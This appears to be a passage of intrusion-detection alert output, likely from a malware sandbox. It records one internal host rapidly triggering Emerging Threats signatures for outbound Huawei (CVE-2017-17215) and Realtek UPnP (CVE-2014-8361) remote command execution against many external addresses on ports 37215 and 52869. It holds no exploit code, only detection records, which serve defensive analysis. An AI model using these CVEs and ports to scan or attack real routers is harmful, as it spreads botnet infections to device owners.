Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.143.112

Timestamp:	07/20/24-23:01:22.748660
SID:	2835222
Source Port:	56070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.171.243.41

Timestamp:	07/20/24-23:01:08.392180
SID:	2835222
Source Port:	52668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.16.59.154

Timestamp:	07/20/24-23:01:36.792737
SID:	2829579
Source Port:	53742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 48.93.90.162

Timestamp:	07/20/24-23:01:06.801544
SID:	2829579
Source Port:	35194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.132.111.117

Timestamp:	07/20/24-23:01:14.530241
SID:	2027339
Source Port:	37326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.120.70.192

Timestamp:	07/20/24-23:01:02.678688
SID:	2835222
Source Port:	34758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 199.170.141.174

Timestamp:	07/20/24-23:01:14.512354
SID:	2027339
Source Port:	34480
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 122.211.99.32

Timestamp:	07/20/24-23:01:22.737021
SID:	2835222
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.156.49.184

Timestamp:	07/20/24-23:00:59.021658
SID:	2829579
Source Port:	39592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.205.229

Timestamp:	07/20/24-23:01:04.892226
SID:	2829579
Source Port:	37604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.130.20.81

Timestamp:	07/20/24-23:01:32.232613
SID:	2835222
Source Port:	47324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.59.179.103

Timestamp:	07/20/24-23:01:04.908544
SID:	2835222
Source Port:	53260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.116.99.51

Timestamp:	07/20/24-23:01:25.388927
SID:	2835222
Source Port:	38962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.116.57.7

Timestamp:	07/20/24-23:01:02.669609
SID:	2829579
Source Port:	48326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.91.190.22

Timestamp:	07/20/24-23:01:25.414531
SID:	2829579
Source Port:	58032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.160.103.208

Timestamp:	07/20/24-23:01:36.783303
SID:	2835222
Source Port:	41318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.89.135

Timestamp:	07/20/24-23:01:06.806392
SID:	2835222
Source Port:	58920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.27.82.47

Timestamp:	07/20/24-23:01:12.484346
SID:	2835222
Source Port:	59962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.69.67

Timestamp:	07/20/24-23:01:27.222234
SID:	2835222
Source Port:	44314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 150.134.45.104

Timestamp:	07/20/24-23:01:04.794679
SID:	2025132
Source Port:	50598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.205.102.154

Timestamp:	07/20/24-23:01:19.178100
SID:	2027339
Source Port:	38094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.120.106.92

Timestamp:	07/20/24-23:01:08.419092
SID:	2835222
Source Port:	59286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.42.124.218

Timestamp:	07/20/24-23:00:59.055046
SID:	2835222
Source Port:	43024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.251.208.230

Timestamp:	07/20/24-23:01:04.848605
SID:	2829579
Source Port:	55820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.230.24

Timestamp:	07/20/24-23:01:32.199190
SID:	2829579
Source Port:	41874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 2.82.37.56

Timestamp:	07/20/24-23:01:32.267589
SID:	2835222
Source Port:	60298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.103.230.20

Timestamp:	07/20/24-23:01:06.801747
SID:	2829579
Source Port:	36336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.183.69.2

Timestamp:	07/20/24-23:01:17.802655
SID:	2829579
Source Port:	37654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.128.154.178

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	34676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.130.81.109

Timestamp:	07/20/24-23:01:06.129068
SID:	2027339
Source Port:	43568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.160.238.161

Timestamp:	07/20/24-23:01:27.297470
SID:	2829579
Source Port:	47420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.106.94.160

Timestamp:	07/20/24-23:01:32.202245
SID:	2829579
Source Port:	38282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.237.89

Timestamp:	07/20/24-23:00:59.023270
SID:	2835222
Source Port:	45336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 202.159.56.129

Timestamp:	07/20/24-23:01:03.929284
SID:	2027339
Source Port:	44888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.150.31.80

Timestamp:	07/20/24-23:01:06.804996
SID:	2835222
Source Port:	34900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.132.47.158

Timestamp:	07/20/24-23:01:12.525593
SID:	2835222
Source Port:	44640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.102.71.84

Timestamp:	07/20/24-23:01:25.414724
SID:	2835222
Source Port:	49412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 86.176.163.132

Timestamp:	07/20/24-23:01:19.989516
SID:	2025132
Source Port:	57918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 130.11.160.84

Timestamp:	07/20/24-23:01:14.539913
SID:	2831300
Source Port:	58348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 126.209.245.77

Timestamp:	07/20/24-23:01:14.516654
SID:	2831300
Source Port:	60086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 24.98.52.32

Timestamp:	07/20/24-23:01:22.741097
SID:	2829579
Source Port:	59334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.9.58.25

Timestamp:	07/20/24-23:01:32.260443
SID:	2829579
Source Port:	35094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.92.123

Timestamp:	07/20/24-23:01:04.892226
SID:	2835222
Source Port:	35324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 154.241.18.163

Timestamp:	07/20/24-23:01:07.443456
SID:	2025132
Source Port:	55978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.129.109.210

Timestamp:	07/20/24-23:01:22.799665
SID:	2835222
Source Port:	54936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.10.132.222

Timestamp:	07/20/24-23:01:32.260443
SID:	2835222
Source Port:	56116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.246.227.233

Timestamp:	07/20/24-23:01:25.388939
SID:	2829579
Source Port:	37434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 128.199.8.22

Timestamp:	07/20/24-23:01:14.547223
SID:	2027339
Source Port:	58280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 220.90.88.236

Timestamp:	07/20/24-23:00:59.021908
SID:	2835222
Source Port:	56090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.243.126.145

Timestamp:	07/20/24-23:01:04.874131
SID:	2835222
Source Port:	41850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 150.134.45.104

Timestamp:	07/20/24-23:01:14.520422
SID:	2831300
Source Port:	52688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.180.224.205

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	40028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.150.160.38

Timestamp:	07/20/24-23:01:32.202996
SID:	2835222
Source Port:	43014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.16.244.96

Timestamp:	07/20/24-23:01:02.607576
SID:	2829579
Source Port:	58268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.215.23.149

Timestamp:	07/20/24-23:01:04.892375
SID:	2829579
Source Port:	48748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.73.48

Timestamp:	07/20/24-23:01:36.781255
SID:	2829579
Source Port:	48288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.184.178

Timestamp:	07/20/24-23:00:59.023733
SID:	2829579
Source Port:	49566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 191.222.133.238

Timestamp:	07/20/24-23:01:22.738834
SID:	2835222
Source Port:	45152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.136.217.167

Timestamp:	07/20/24-23:01:22.799496
SID:	2835222
Source Port:	34412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 64.111.121.228

Timestamp:	07/20/24-23:01:04.186436
SID:	2025132
Source Port:	47972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.183.3.29

Timestamp:	07/20/24-23:01:08.447449
SID:	2835222
Source Port:	42350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.167.157.60

Timestamp:	07/20/24-23:01:36.796105
SID:	2835222
Source Port:	52994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.11.18.169

Timestamp:	07/20/24-23:00:59.022941
SID:	2835222
Source Port:	38556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.124.92

Timestamp:	07/20/24-23:00:59.020683
SID:	2829579
Source Port:	51402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 40.11.215.79

Timestamp:	07/20/24-23:01:04.172196
SID:	2027339
Source Port:	45114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.255.48.38

Timestamp:	07/20/24-23:01:15.661483
SID:	2835222
Source Port:	37162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.62.193.172

Timestamp:	07/20/24-23:00:59.019994
SID:	2829579
Source Port:	36346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 211.71.91.54

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	60686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.190.213.191

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	45248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.85.220.68

Timestamp:	07/20/24-23:01:36.781139
SID:	2835222
Source Port:	40816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.55.227

Timestamp:	07/20/24-23:01:25.443184
SID:	2829579
Source Port:	47248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.86.64.87

Timestamp:	07/20/24-23:01:04.997254
SID:	2027339
Source Port:	44724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.170.0.226

Timestamp:	07/20/24-23:01:02.699257
SID:	2829579
Source Port:	37696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.104.61.140

Timestamp:	07/20/24-23:01:12.357339
SID:	2829579
Source Port:	55850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 58.234.199.253

Timestamp:	07/20/24-23:01:07.290737
SID:	2025132
Source Port:	55208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 164.88.101.43

Timestamp:	07/20/24-23:01:12.358593
SID:	2829579
Source Port:	38688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 35.117.84.161

Timestamp:	07/20/24-23:01:04.606670
SID:	2025132
Source Port:	40556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.251.199.254

Timestamp:	07/20/24-23:01:25.391404
SID:	2829579
Source Port:	49866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.191.13.46

Timestamp:	07/20/24-23:01:06.813789
SID:	2829579
Source Port:	54582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.151.30.29

Timestamp:	07/20/24-23:01:02.607576
SID:	2829579
Source Port:	54190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.100.29.220

Timestamp:	07/20/24-23:00:59.054914
SID:	2835222
Source Port:	34082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 14.2.30.96

Timestamp:	07/20/24-23:01:14.539379
SID:	2831300
Source Port:	37434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 152.151.18.5

Timestamp:	07/20/24-23:01:08.381624
SID:	2829579
Source Port:	53652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 205.67.98.173

Timestamp:	07/20/24-23:01:14.566160
SID:	2831300
Source Port:	41192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 20.222.215.240

Timestamp:	07/20/24-23:00:59.022298
SID:	2835222
Source Port:	46612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 37.40.108.99

Timestamp:	07/20/24-23:01:27.354992
SID:	2831300
Source Port:	44930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.75.191.9

Timestamp:	07/20/24-23:01:08.407067
SID:	2835222
Source Port:	41502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 206.40.208.27

Timestamp:	07/20/24-23:01:08.391767
SID:	2829579
Source Port:	58884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.21.88.67

Timestamp:	07/20/24-23:00:59.020288
SID:	2835222
Source Port:	44316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.133.112.241

Timestamp:	07/20/24-23:01:22.739710
SID:	2829579
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 106.174.68.245

Timestamp:	07/20/24-23:00:59.020552
SID:	2835222
Source Port:	32872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 115.130.21.220

Timestamp:	07/20/24-23:01:06.628186
SID:	2027339
Source Port:	42390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 90.118.180.212

Timestamp:	07/20/24-23:01:02.661070
SID:	2835222
Source Port:	33836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.156.49.184

Timestamp:	07/20/24-23:00:59.021658
SID:	2835222
Source Port:	39592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.18.96.193

Timestamp:	07/20/24-23:01:25.389307
SID:	2835222
Source Port:	34532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.209.185.36

Timestamp:	07/20/24-23:01:36.866693
SID:	2835222
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 148.83.172.41

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	60782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.42.201.100

Timestamp:	07/20/24-23:01:25.414724
SID:	2829579
Source Port:	55304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.54.95.252

Timestamp:	07/20/24-23:01:14.507784
SID:	2027339
Source Port:	34366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 188.53.105.187

Timestamp:	07/20/24-23:01:05.542461
SID:	2025132
Source Port:	35418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 18.101.167.39

Timestamp:	07/20/24-23:01:14.516654
SID:	2027339
Source Port:	47970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 1.212.57.243

Timestamp:	07/20/24-23:01:14.570907
SID:	2027339
Source Port:	37220
